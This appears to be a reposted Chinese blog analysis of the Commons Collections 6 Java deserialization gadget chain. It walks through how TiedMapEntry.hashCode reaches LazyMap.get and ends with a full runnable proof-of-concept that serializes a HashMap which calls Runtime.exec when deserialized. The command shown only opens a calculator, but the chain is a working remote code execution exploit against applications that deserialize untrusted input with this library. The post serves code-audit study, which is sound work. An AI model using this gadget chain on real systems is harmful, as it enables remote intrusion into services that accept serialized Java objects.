栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

CommonsCollections6分析

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

CommonsCollections6分析

CommonsCollections6

LazyMap的漏洞触发在get和invoke中,完全没有setValue什么事,这也说明8u71后不能利用的原因和AnnotationInvocationHandler#readObject 中有没有setValue没任何关系在java8u71以后sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑变化了

解决java高版本利用问题,实际上就是在上下文中是否还有其他调用LazyMap#get()的地方

org.apache.commons.collections.keyvalue.TiedMapEntry 在getValue方法中调用了this.map.get

直接分析那块调用了LazyMap类中的get() CC6中给出了这个类 TiedMapEntry中的HashCode我们直接进入TiedMapEntry进行分析

调用链

```java
ObjectInputStream.readObject()
    |
HashMap.ReadObject()
    |
HashMap.put()
    |    
HashMap.putval()
    |    
HashMap.hash()
    |    
HashMap.hashCode()
    |
TiedMapEntry.hashCode()
    |
LazyMap.get()
    |
ChainedTransformer.transform()
    |
InvokeTransformer.transform()
```

ysoserial版本调用链


  
 

一些类的分析 TiedMapEntry类分析

TiedMapEntry接收一个map类的值 一个key

 TiedMapEntry中的hashCode调用了getValue()

 跟到getvalue()中 可以看到这里有个map.get 我们只需要将map值传LazyMap即可触发LazyMap.get()

 通过这里我们就直接可以构造

前面部分和CC1 LazyMap版本一样 让LazyMap.get触发命令执行

Transformer[] transformers=new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap map=new HashMap();
//置空 防止序列化时调用
Map lazyMap=LazyMap.decorate(map,new ConstantTransformer(1));

和cc1的区别是我们接下来不是用AnnotationInvocationHandler#readObject去触发 而是使用TiedMapEntry 类去触发

TiedMapEntry tiedMapEntry=newTiedMapEntry(lazyMap,"aaaa");

这里使用的是HashSet来进行构造,将前面的TiedMapEntry实例化对象添加进去。后面还调用了lazyMap.remove方法将aaaa给移除,这是因为在执行的时候如果没使用lazyMap.remove将aaaa给移除掉将不会进入到该判断语句里面去

HashMap map2=new HashMap();
map2.put(tiedMapEntry,"bbb");
lazyMap.remove("aaaa");

这里 如果传入的key不等于false就不会执行transform就无法执行命令 所以需要remove将aaaa移除掉

之后剩下的部分和cc1 TransformedMap版本中一样 使HashMap put触发hashcode()

最终poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6{
    public static void main(String[] args) throws Exception {

        Transformer[] transformers=new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

        HashMap map=new HashMap();

//       置空 防止序列化时调用
        Map lazyMap=LazyMap.decorate(map,new ConstantTransformer(1));


        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"aaaa");

        HashMap map2=new HashMap();
        map2.put(tiedMapEntry,"bbb");
        lazyMap.remove("aaaa");

        //通过反射修改值
        Class c =LazyMap.class;
        Field factoryField=c.getDeclaredField("factory");
        System.out.println(factoryField);
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);


        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(map2);
        oos.close();

        ObjectInputStream ois =new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o=ois.readObject();
        System.out.println(o);




    }
}

参考学习

P神java代码审计

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/697347.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号